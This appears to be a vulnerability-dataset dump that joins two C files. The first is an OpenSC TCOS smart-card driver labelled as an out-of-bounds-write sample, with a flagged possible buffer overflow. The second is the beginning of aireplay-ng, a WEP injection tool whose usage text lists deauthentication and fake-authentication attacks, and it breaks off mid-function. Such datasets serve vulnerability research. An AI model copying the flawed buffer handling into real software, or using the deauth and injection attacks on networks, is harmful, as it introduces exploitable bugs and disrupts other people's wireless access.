do. It seems that the ACL design of OpenSC should be enhanced to allow for the command based security attributes of TCOS. FIXME: This just allows to create a very basic file. */ static int tcos_construct_fci(const sc_file_t *file, u8 *out, size_t *outlen) { u8 *p = out; u8 buf[64]; size_t n; /* FIXME: possible buffer overflow */ *p++ = 0x6F; /* FCI */ p++; /* File size */ buf[0] = (file->size >> 8) & 0xFF; buf[1] = file->size & 0xFF; sc_asn1_put_tag(0x81, buf, 2, p, 16, &p); /* File descriptor */ n = 0; buf[n] = file->shareable ? 0x40 : 0; switch (file->type) { case SC_FILE_TYPE_WORKING_EF: break; case SC_FILE_TYPE_DF: buf[0] |= 0x38; break; default: return SC_ERROR_NOT_SUPPORTED; } buf[n++] |= file->ef_structure & 7; if ( (file->ef_structure & 7) > 1) { /* record structured file */ buf[n++] = 0x41; /* indicate 3rd byte */ buf[n++] = file->record_length; } sc_asn1_put_tag(0x82, buf, n, p, 8, &p); /* File identifier */ buf[0] = (file->id >> 8) & 0xFF; buf[1] = file->id & 0xFF; sc_asn1_put_tag(0x83, buf, 2, p, 16, &p); /* Directory name */ if (file->type == SC_FILE_TYPE_DF) { if (file->namelen) { sc_asn1_put_tag(0x84, file->name, file->namelen, p, 16, &p); } else { /* TCOS needs one, so we use a faked one */ snprintf ((char *) buf, sizeof(buf)-1, "foo-%lu", (unsigned long) time (NULL)); sc_asn1_put_tag(0x84, buf, strlen ((char *) buf), p, 16, &p); } } /* File descriptor extension */ if (file->prop_attr_len && file->prop_attr) { n = file->prop_attr_len; memcpy(buf, file->prop_attr, n); } else { n = 0; buf[n++] = 0x01; /* not invalidated, permanent */ if (file->type == SC_FILE_TYPE_WORKING_EF) buf[n++] = 0x00; /* generic data file */ } sc_asn1_put_tag(0x85, buf, n, p, 16, &p); /* Security attributes */ if (file->sec_attr_len && file->sec_attr) { memcpy(buf, file->sec_attr, file->sec_attr_len); n = file->sec_attr_len; } else { /* no attributes given - fall back to default one */ memcpy (buf+ 0, "\xa4\x00\x00\x00\xff\xff", 6); /* select */ memcpy (buf+ 6, "\xb0\x00\x00\x00\xff\xff", 6); /* read bin */ memcpy (buf+12, "\xd6\x00\x00\x00\xff\xff", 6); /* upd bin */ memcpy (buf+18, "\x60\x00\x00\x00\xff\xff", 6); /* admin grp*/ n = 24; } sc_asn1_put_tag(0x86, buf, n, p, sizeof (buf), &p); /* fixup length of FCI */ out[1] = p - out - 2; *outlen = p - out; return 0; } static int tcos_create_file(sc_card_t *card, sc_file_t *file) { int r; size_t len; u8 sbuf[SC_MAX_APDU_BUFFER_SIZE]; sc_apdu_t apdu; len = SC_MAX_APDU_BUFFER_SIZE; r = tcos_construct_fci(file, sbuf, &len); LOG_TEST_RET(card->ctx, r, "tcos_construct_fci() failed"); sc_format_apdu(card, &apdu, SC_APDU_CASE_3_SHORT, 0xE0, 0x00, 0x00); apdu.cla |= 0x80; /* this is an proprietary extension */ apdu.lc = len; apdu.datalen = len; apdu.data = sbuf; r = sc_transmit_apdu(card, &apdu); LOG_TEST_RET(card->ctx, r, "APDU transmit failed"); return sc_check_sw(card, apdu.sw1, apdu.sw2); } static unsigned int map_operations (int commandbyte) { unsigned int op = (unsigned int)-1; switch ( (commandbyte & 0xfe) ) { case 0xe2: /* append record */ op = SC_AC_OP_UPDATE; break; case 0x24: /* change password */ op = SC_AC_OP_UPDATE; break; case 0xe0: /* create */ op = SC_AC_OP_CREATE; break; case 0xe4: /* delete */ op = SC_AC_OP_DELETE; break; case 0xe8: /* exclude sfi */ op = SC_AC_OP_WRITE; break; case 0x82: /* external auth */ op = SC_AC_OP_READ; break; case 0xe6: /* include sfi */ op = SC_AC_OP_WRITE; break; case 0x88: /* internal auth */ op = SC_AC_OP_READ; break; case 0x04: /* invalidate */ op = SC_AC_OP_INVALIDATE; break; case 0x2a: /* perform sec. op */ op = SC_AC_OP_SELECT; break; case 0xb0: /* read binary */ op = SC_AC_OP_READ; break; case 0xb2: /* read record */ op = SC_AC_OP_READ; break; case 0x44: /* rehabilitate */ op = SC_AC_OP_REHABILITATE; break; case 0xa4: /* select */ op = SC_AC_OP_SELECT; break; case 0xee: /* set permanent */ op = SC_AC_OP_CREATE; break; case 0x2c: /* unblock password */op = SC_AC_OP_WRITE; break; case 0xd6: /* update binary */ op = SC_AC_OP_WRITE; break; case 0xdc: /* update record */ op = SC_AC_OP_WRITE; break; case 0x20: /* verify password */ op = SC_AC_OP_SELECT; break; case 0x60: /* admin group */ op = SC_AC_OP_CREATE; break; } return op; } /* Hmmm, I don't know what to do. It seems that the ACL design of OpenSC should be enhanced to allow for the command based security attributes of TCOS. FIXME: This just allows to create a very basic file. */ static void parse_sec_attr(sc_card_t *card, sc_file_t *file, const u8 *buf, size_t len) { unsigned int op; /* list directory is not covered by ACLs - so always add an entry */ sc_file_add_acl_entry (file, SC_AC_OP_LIST_FILES, SC_AC_NONE, SC_AC_KEY_REF_NONE); /* FIXME: check for what LOCK is used */ sc_file_add_acl_entry (file, SC_AC_OP_LOCK, SC_AC_NONE, SC_AC_KEY_REF_NONE); for (; len >= 6; len -= 6, buf += 6) { /* FIXME: temporary hacks */ if (!memcmp(buf, "\xa4\x00\x00\x00\xff\xff", 6)) {/* select */ sc_file_add_acl_entry (file, SC_AC_OP_SELECT, SC_AC_NONE, SC_AC_KEY_REF_NONE); } else if (!memcmp(buf, "\xb0\x00\x00\x00\xff\xff", 6)) {/*read*/ sc_file_add_acl_entry (file, SC_AC_OP_READ, SC_AC_NONE, SC_AC_KEY_REF_NONE); } else if (!memcmp(buf, "\xd6\x00\x00\x00\xff\xff", 6)) {/*upd*/ sc_file_add_acl_entry (file, SC_AC_OP_UPDATE, SC_AC_NONE, SC_AC_KEY_REF_NONE); } else if (!memcmp(buf, "\x60\x00\x00\x00\xff\xff", 6)) {/*adm */ sc_file_add_acl_entry (file, SC_AC_OP_WRITE, SC_AC_NONE, SC_AC_KEY_REF_NONE); sc_file_add_acl_entry (file, SC_AC_OP_CREATE, SC_AC_NONE, SC_AC_KEY_REF_NONE); sc_file_add_acl_entry (file, SC_AC_OP_INVALIDATE, SC_AC_NONE, SC_AC_KEY_REF_NONE); sc_file_add_acl_entry (file, SC_AC_OP_REHABILITATE, SC_AC_NONE, SC_AC_KEY_REF_NONE); } else { /* the first byte tells use the command or the command group. We have to mask bit 0 because this one distinguish between AND/OR combination of PINs*/ op = map_operations (buf[0]); if (op == (unsigned int)-1) { sc_log(card->ctx, "Unknown security command byte %02x\n", buf[0]); continue; } if (!buf[1]) sc_file_add_acl_entry (file, op, SC_AC_NONE, SC_AC_KEY_REF_NONE); else sc_file_add_acl_entry (file, op, SC_AC_CHV, buf[1]); if (!buf[2] && !buf[3]) sc_file_add_acl_entry (file, op, SC_AC_NONE, SC_AC_KEY_REF_NONE); else sc_file_add_acl_entry (file, op, SC_AC_TERM, (buf[2]<<8)|buf[3]); } } } static int tcos_select_file(sc_card_t *card, const sc_path_t *in_path, sc_file_t **file_out) { sc_context_t *ctx; sc_apdu_t apdu; sc_file_t *file=NULL; u8 buf[SC_MAX_APDU_BUFFER_SIZE], pathbuf[SC_MAX_PATH_SIZE], *path = pathbuf; int r, pathlen; assert(card != NULL && in_path != NULL); ctx=card->ctx; memcpy(path, in_path->value, in_path->len); pathlen = in_path->len; sc_format_apdu(card, &apdu, SC_APDU_CASE_4_SHORT, 0xA4, 0, 0x04); switch (in_path->type) { case SC_PATH_TYPE_FILE_ID: if (pathlen != 2) return SC_ERROR_INVALID_ARGUMENTS; /* fall through */ case SC_PATH_TYPE_FROM_CURRENT: apdu.p1 = 9; break; case SC_PATH_TYPE_DF_NAME: apdu.p1 = 4; break; case SC_PATH_TYPE_PATH: apdu.p1 = 8; if (pathlen >= 2 && memcmp(path, "\x3F\x00", 2) == 0) path += 2, pathlen -= 2; if (pathlen == 0) apdu.p1 = 0; break; case SC_PATH_TYPE_PARENT: apdu.p1 = 3; pathlen = 0; break; default: SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_INVALID_ARGUMENTS); } if( pathlen == 0 ) apdu.cse = SC_APDU_CASE_2_SHORT; apdu.lc = pathlen; apdu.data = path; apdu.datalen = pathlen; if (file_out != NULL) { apdu.resp = buf; apdu.resplen = sizeof(buf); apdu.le = 256; } else { apdu.resplen = 0; apdu.le = 0; apdu.p2 = 0x0C; apdu.cse = (pathlen == 0) ? SC_APDU_CASE_1 : SC_APDU_CASE_3_SHORT; } r = sc_transmit_apdu(card, &apdu); LOG_TEST_RET(ctx, r, "APDU transmit failed"); r = sc_check_sw(card, apdu.sw1, apdu.sw2); if (r || file_out == NULL) SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, r); if (apdu.resplen < 1 || apdu.resp[0] != 0x62) { sc_log(ctx, "received invalid template %02X\n", apdu.resp[0]); SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_UNKNOWN_DATA_RECEIVED); } file = sc_file_new(); if (file == NULL) LOG_FUNC_RETURN(ctx, SC_ERROR_OUT_OF_MEMORY); *file_out = file; file->path = *in_path; iso_ops->process_fci(card, file, apdu.resp, apdu.resplen); parse_sec_attr(card, file, file->sec_attr, file->sec_attr_len); return 0; } static int tcos_list_files(sc_card_t *card, u8 *buf, size_t buflen) { sc_context_t *ctx; sc_apdu_t apdu; u8 rbuf[SC_MAX_APDU_BUFFER_SIZE], p1; int r, count = 0; assert(card != NULL); ctx = card->ctx; for (p1=1; p1<=2; p1++) { sc_format_apdu(card, &apdu, SC_APDU_CASE_2_SHORT, 0xAA, p1, 0); apdu.cla = 0x80; apdu.resp = rbuf; apdu.resplen = sizeof(rbuf); apdu.le = 256; r = sc_transmit_apdu(card, &apdu); LOG_TEST_RET(ctx, r, "APDU transmit failed"); if (apdu.sw1==0x6A && (apdu.sw2==0x82 || apdu.sw2==0x88)) continue; r = sc_check_sw(card, apdu.sw1, apdu.sw2); LOG_TEST_RET(ctx, r, "List Dir failed"); if (apdu.resplen > buflen) return SC_ERROR_BUFFER_TOO_SMALL; sc_log(ctx, "got %"SC_FORMAT_LEN_SIZE_T"u %s-FileIDs\n", apdu.resplen / 2, p1 == 1 ? "DF" : "EF"); memcpy(buf, apdu.resp, apdu.resplen); buf += apdu.resplen; buflen -= apdu.resplen; count += apdu.resplen; } return count; } static int tcos_delete_file(sc_card_t *card, const sc_path_t *path) { int r; u8 sbuf[2]; sc_apdu_t apdu; SC_FUNC_CALLED(card->ctx, SC_LOG_DEBUG_VERBOSE); if (path->type != SC_PATH_TYPE_FILE_ID && path->len != 2) { sc_log(card->ctx, "File type has to be SC_PATH_TYPE_FILE_ID\n"); LOG_FUNC_RETURN(card->ctx, SC_ERROR_INVALID_ARGUMENTS); } sbuf[0] = path->value[0]; sbuf[1] = path->value[1]; sc_format_apdu(card, &apdu, SC_APDU_CASE_3_SHORT, 0xE4, 0x00, 0x00); apdu.cla |= 0x80; apdu.lc = 2; apdu.datalen = 2; apdu.data = sbuf; r = sc_transmit_apdu(card, &apdu); LOG_TEST_RET(card->ctx, r, "APDU transmit failed"); return sc_check_sw(card, apdu.sw1, apdu.sw2); } static int tcos_set_security_env(sc_card_t *card, const sc_security_env_t *env, int se_num) { sc_context_t *ctx; sc_apdu_t apdu; u8 sbuf[SC_MAX_APDU_BUFFER_SIZE], *p; int r, default_key, tcos3; tcos_data *data; assert(card != NULL && env != NULL); ctx = card->ctx; tcos3=(card->type==SC_CARD_TYPE_TCOS_V3); data=(tcos_data *)card->drv_data; if (se_num || (env->operation!=SC_SEC_OPERATION_DECIPHER && env->operation!=SC_SEC_OPERATION_SIGN)) { LOG_FUNC_RETURN(ctx, SC_ERROR_INVALID_ARGUMENTS); } if(!(env->flags & SC_SEC_ENV_KEY_REF_PRESENT)) sc_log(ctx, "No Key-Reference in SecEnvironment\n"); else sc_log(ctx, "Key-Reference %02X (len=%"SC_FORMAT_LEN_SIZE_T"u)\n", env->key_ref[0], env->key_ref_len); /* Key-Reference 0x80 ?? */ default_key= !(env->flags & SC_SEC_ENV_KEY_REF_PRESENT) || (env->key_ref_len==1 && env->key_ref[0]==0x80); sc_log(ctx, "TCOS3:%d PKCS1:%d\n", tcos3, !!(env->algorithm_flags & SC_ALGORITHM_RSA_PAD_PKCS1)); data->pad_flags = env->algorithm_flags; data->next_sign = default_key; sc_format_apdu(card, &apdu, SC_APDU_CASE_3_SHORT, 0x22, tcos3 ? 0x41 : 0xC1, 0xB8); p = sbuf; if (env->flags & SC_SEC_ENV_KEY_REF_PRESENT) { *p++ = (env->flags & SC_SEC_ENV_KEY_REF_SYMMETRIC) ? 0x83 : 0x84; *p++ = env->key_ref_len; memcpy(p, env->key_ref, env->key_ref_len); p += env->key_ref_len; } apdu.data = sbuf; apdu.lc = apdu.datalen = (p - sbuf); r=sc_transmit_apdu(card, &apdu); if (r) { sc_log(ctx, "%s: APDU transmit failed", sc_strerror(r)); return r; } if (apdu.sw1==0x6A && (apdu.sw2==0x81 || apdu.sw2==0x88)) { sc_log(ctx, "Detected Signature-Only key\n"); if (env->operation==SC_SEC_OPERATION_SIGN && default_key) return SC_SUCCESS; } SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, sc_check_sw(card, apdu.sw1, apdu.sw2)); } static int tcos_restore_security_env(sc_card_t *card, int se_num) { return 0; } static int tcos_compute_signature(sc_card_t *card, const u8 * data, size_t datalen, u8 * out, size_t outlen) { size_t i, dlen=datalen; sc_apdu_t apdu; u8 rbuf[SC_MAX_APDU_BUFFER_SIZE]; u8 sbuf[SC_MAX_APDU_BUFFER_SIZE]; int tcos3, r; assert(card != NULL && data != NULL && out != NULL); tcos3=(card->type==SC_CARD_TYPE_TCOS_V3); // We can sign (key length / 8) bytes if (datalen > 256) SC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_INVALID_ARGUMENTS); if(((tcos_data *)card->drv_data)->next_sign) { if(datalen>48) { sc_log(card->ctx, "Data to be signed is too long (TCOS supports max. 48 bytes)\n"); SC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_INVALID_ARGUMENTS); } sc_format_apdu(card, &apdu, SC_APDU_CASE_4_SHORT, 0x2A, 0x9E, 0x9A); memcpy(sbuf, data, datalen); dlen=datalen; } else { int keylen= tcos3 ? 256 : 128; sc_format_apdu(card, &apdu, keylen>255 ? SC_APDU_CASE_4_EXT : SC_APDU_CASE_4_SHORT, 0x2A,0x80,0x86); for(i=0; i<sizeof(sbuf);++i) sbuf[i]=0xff; sbuf[0]=0x02; sbuf[1]=0x00; sbuf[2]=0x01; sbuf[keylen-datalen]=0x00; memcpy(sbuf+keylen-datalen+1, data, datalen); dlen=keylen+1; } apdu.resp = rbuf; apdu.resplen = sizeof(rbuf); apdu.le = tcos3 ? 256 : 128; apdu.data = sbuf; apdu.lc = apdu.datalen = dlen; r = sc_transmit_apdu(card, &apdu); LOG_TEST_RET(card->ctx, r, "APDU transmit failed"); if (tcos3 && apdu.p1==0x80 && apdu.sw1==0x6A && apdu.sw2==0x87) { int keylen=128; sc_format_apdu(card, &apdu, SC_APDU_CASE_4_SHORT, 0x2A,0x80,0x86); for(i=0; i<sizeof(sbuf);++i) sbuf[i]=0xff; sbuf[0]=0x02; sbuf[1]=0x00; sbuf[2]=0x01; sbuf[keylen-datalen]=0x00; memcpy(sbuf+keylen-datalen+1, data, datalen); dlen=keylen+1; apdu.resp = rbuf; apdu.resplen = sizeof(rbuf); apdu.le = 128; apdu.data = sbuf; apdu.lc = apdu.datalen = dlen; r = sc_transmit_apdu(card, &apdu); LOG_TEST_RET(card->ctx, r, "APDU transmit failed"); } if (apdu.sw1==0x90 && apdu.sw2==0x00) { size_t len = apdu.resplen>outlen ? outlen : apdu.resplen; memcpy(out, apdu.resp, len); SC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_VERBOSE, len); } SC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_VERBOSE, sc_check_sw(card, apdu.sw1, apdu.sw2)); } static int tcos_decipher(sc_card_t *card, const u8 * crgram, size_t crgram_len, u8 * out, size_t outlen) { sc_context_t *ctx; sc_apdu_t apdu; u8 rbuf[SC_MAX_APDU_BUFFER_SIZE]; u8 sbuf[SC_MAX_APDU_BUFFER_SIZE]; tcos_data *data; int tcos3, r; assert(card != NULL && crgram != NULL && out != NULL); ctx = card->ctx; tcos3=(card->type==SC_CARD_TYPE_TCOS_V3); data=(tcos_data *)card->drv_data; LOG_FUNC_CALLED(ctx); sc_log(ctx, "TCOS3:%d PKCS1:%d\n",tcos3, !!(data->pad_flags & SC_ALGORITHM_RSA_PAD_PKCS1)); sc_format_apdu(card, &apdu, crgram_len>255 ? SC_APDU_CASE_4_EXT : SC_APDU_CASE_4_SHORT, 0x2A, 0x80, 0x86); apdu.resp = rbuf; apdu.resplen = sizeof(rbuf); apdu.le = crgram_len; apdu.data = sbuf; apdu.lc = apdu.datalen = crgram_len+1; sbuf[0] = tcos3 ? 0x00 : ((data->pad_flags & SC_ALGORITHM_RSA_PAD_PKCS1) ? 0x81 : 0x02); memcpy(sbuf+1, crgram, crgram_len); r = sc_transmit_apdu(card, &apdu); LOG_TEST_RET(card->ctx, r, "APDU transmit failed"); if (apdu.sw1==0x90 && apdu.sw2==0x00) { size_t len= (apdu.resplen>outlen) ? outlen : apdu.resplen; unsigned int offset=0; if(tcos3 && (data->pad_flags & SC_ALGORITHM_RSA_PAD_PKCS1) && apdu.resp[0]==0 && apdu.resp[1]==2) { offset=2; while(offset<len && apdu.resp[offset]!=0) ++offset; offset=(offset<len-1) ? offset+1 : 0; } memcpy(out, apdu.resp+offset, len-offset); SC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_VERBOSE, len-offset); } SC_FUNC_RETURN(card->ctx, SC_LOG_DEBUG_VERBOSE, sc_check_sw(card, apdu.sw1, apdu.sw2)); } /* Issue the SET PERMANENT command. With ENABLE_NULLPIN set the NullPIN method will be activated, otherwise the permanent operation will be done on the active file. */ static int tcos_setperm(sc_card_t *card, int enable_nullpin) { int r; sc_apdu_t apdu; SC_FUNC_CALLED(card->ctx, SC_LOG_DEBUG_VERBOSE); sc_format_apdu(card, &apdu, SC_APDU_CASE_1, 0xEE, 0x00, 0x00); apdu.cla |= 0x80; apdu.lc = 0; apdu.datalen = 0; apdu.data = NULL; r = sc_transmit_apdu(card, &apdu); LOG_TEST_RET(card->ctx, r, "APDU transmit failed"); return sc_check_sw(card, apdu.sw1, apdu.sw2); } static int tcos_get_serialnr(sc_card_t *card, sc_serial_number_t *serial) { int r; if (!serial) return SC_ERROR_INVALID_ARGUMENTS; /* see if we have cached serial number */ if (card->serialnr.len) { memcpy(serial, &card->serialnr, sizeof(*serial)); return SC_SUCCESS; } card->serialnr.len = sizeof card->serialnr.value; r = sc_parse_ef_gdo(card, card->serialnr.value, &card->serialnr.len, NULL, 0); if (r < 0) { card->serialnr.len = 0; return r; } /* copy and return serial number */ memcpy(serial, &card->serialnr, sizeof(*serial)); return SC_SUCCESS; } static int tcos_card_ctl(sc_card_t *card, unsigned long cmd, void *ptr) { switch (cmd) { case SC_CARDCTL_TCOS_SETPERM: return tcos_setperm(card, !!ptr); case SC_CARDCTL_GET_SERIALNR: return tcos_get_serialnr(card, (sc_serial_number_t *)ptr); } return SC_ERROR_NOT_SUPPORTED; } struct sc_card_driver * sc_get_tcos_driver(void) { struct sc_card_driver *iso_drv = sc_get_iso7816_driver(); if (iso_ops == NULL) iso_ops = iso_drv->ops; tcos_ops = *iso_drv->ops; tcos_ops.match_card = tcos_match_card; tcos_ops.init = tcos_init; tcos_ops.finish = tcos_finish; tcos_ops.create_file = tcos_create_file; tcos_ops.set_security_env = tcos_set_security_env; tcos_ops.select_file = tcos_select_file; tcos_ops.list_files = tcos_list_files; tcos_ops.delete_file = tcos_delete_file; tcos_ops.compute_signature = tcos_compute_signature; tcos_ops.decipher = tcos_decipher; tcos_ops.restore_security_env = tcos_restore_security_env; tcos_ops.card_ctl = tcos_card_ctl; return &tcos_drv; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4402_0
crossvul-cpp_data_bad_2312_0
/* * 802.11 WEP replay & injection attacks * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * WEP decryption attack (chopchop) developed by KoreK * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #if defined(linux) #include <linux/rtc.h> #endif #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <dirent.h> #include <signal.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <time.h> #include <getopt.h> #include <fcntl.h> #include <ctype.h> #include <limits.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include "version.h" #include "pcap.h" #include "osdep/osdep.h" #include "crypto.h" #include "common.h" #define RTC_RESOLUTION 8192 #define REQUESTS 30 #define MAX_APS 20 #define NEW_IV 1 #define RETRY 2 #define ABORT 3 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define REASSOC_REQ \ "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define RATE_NUM 12 #define RATE_1M 1000000 #define RATE_2M 2000000 #define RATE_5_5M 5500000 #define RATE_11M 11000000 #define RATE_6M 6000000 #define RATE_9M 9000000 #define RATE_12M 12000000 #define RATE_18M 18000000 #define RATE_24M 24000000 #define RATE_36M 36000000 #define RATE_48M 48000000 #define RATE_54M 54000000 int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M}; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int maccmp(unsigned char *mac1, unsigned char *mac2); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; char usage[] = "\n" " %s - (C) 2006-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: aireplay-ng <options> <replay interface>\n" "\n" " Filter options:\n" "\n" " -b bssid : MAC address, Access Point\n" " -d dmac : MAC address, Destination\n" " -s smac : MAC address, Source\n" " -m len : minimum packet length\n" " -n len : maximum packet length\n" " -u type : frame control, type field\n" " -v subt : frame control, subtype field\n" " -t tods : frame control, To DS bit\n" " -f fromds : frame control, From DS bit\n" " -w iswep : frame control, WEP bit\n" " -D : disable AP detection\n" "\n" " Replay options:\n" "\n" " -x nbpps : number of packets per second\n" " -p fctrl : set frame control word (hex)\n" " -a bssid : set Access Point MAC address\n" " -c dmac : set Destination MAC address\n" " -h smac : set Source MAC address\n" " -g value : change ring buffer size (default: 8)\n" " -F : choose first matching packet\n" "\n" " Fakeauth attack options:\n" "\n" " -e essid : set target AP SSID\n" " -o npckts : number of packets per burst (0=auto, default: 1)\n" " -q sec : seconds between keep-alives\n" " -Q : send reassociation requests\n" " -y prga : keystream for shared key auth\n" " -T n : exit after retry fake auth request n time\n" "\n" " Arp Replay attack options:\n" "\n" " -j : inject FromDS packets\n" "\n" " Fragmentation attack options:\n" "\n" " -k IP : set destination IP in fragments\n" " -l IP : set source IP in fragments\n" "\n" " Test attack options:\n" "\n" " -B : activates the bitrate test\n" "\n" /* " WIDS evasion options:\n" " -y value : Use packets older than n packets\n" " -z : Ghosting\n" "\n" */ " Source options:\n" "\n" " -i iface : capture packets from this interface\n" " -r file : extract packets from this pcap file\n" "\n" " Miscellaneous options:\n" "\n" " -R : disable /dev/rtc usage\n" " --ignore-negative-one : if the interface's channel can't be determined,\n" " ignore the mismatch, needed for unpatched cfg80211\n" "\n" " Attack modes (numbers can still be used):\n" "\n" " --deauth count : deauthenticate 1 or all stations (-0)\n" " --fakeauth delay : fake authentication with AP (-1)\n" " --interactive : interactive frame selection (-2)\n" " --arpreplay : standard ARP-request replay (-3)\n" " --chopchop : decrypt/chopchop WEP packet (-4)\n" " --fragment : generates valid keystream (-5)\n" " --caffe-latte : query a client for new IVs (-6)\n" " --cfrag : fragments against a client (-7)\n" " --migmode : attacks WPA migration mode (-8)\n" " --test : tests injection and quality (-9)\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char f_bssid[6]; unsigned char f_dmac[6]; unsigned char f_smac[6]; int f_minlen; int f_maxlen; int f_type; int f_subtype; int f_tods; int f_fromds; int f_iswep; int r_nbpps; int r_fctrl; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_dip[4]; unsigned char r_sip[4]; char r_essid[33]; int r_fromdsinj; char r_smac_set; char ip_out[16]; //16 for 15 chars + \x00 char ip_in[16]; int port_out; int port_in; char *iface_out; char *s_face; char *s_file; unsigned char *prga; int a_mode; int a_count; int a_delay; int f_retry; int ringbuffer; int ghost; int prgalen; int delay; int npackets; int fast; int bittest; int nodetect; int ignore_negative_one; int rtc; int reassoc; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; unsigned char mac_in[6]; unsigned char mac_out[6]; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; static struct wif *_wi_in, *_wi_out; struct ARP_req { unsigned char *buf; int hdrlen; int len; }; struct APt { unsigned char set; unsigned char found; unsigned char len; unsigned char essid[255]; unsigned char bssid[6]; unsigned char chan; unsigned int ping[REQUESTS]; int pwr[REQUESTS]; }; struct APt ap[MAX_APS]; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; unsigned char ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00"; unsigned char ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xc0\x01"; int ctrl_c, alarmed; char * iwpriv; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int reset_ifaces() { //close interfaces if(_wi_in != _wi_out) { if(_wi_in) { wi_close(_wi_in); _wi_in = NULL; } if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; } } else { if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; _wi_in = NULL; } } /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); return 0; } int set_bitrate(struct wif *wi, int rate) { int i, newrate; if( wi_set_rate(wi, rate) ) return 1; // if( reset_ifaces() ) // return 1; //Workaround for buggy 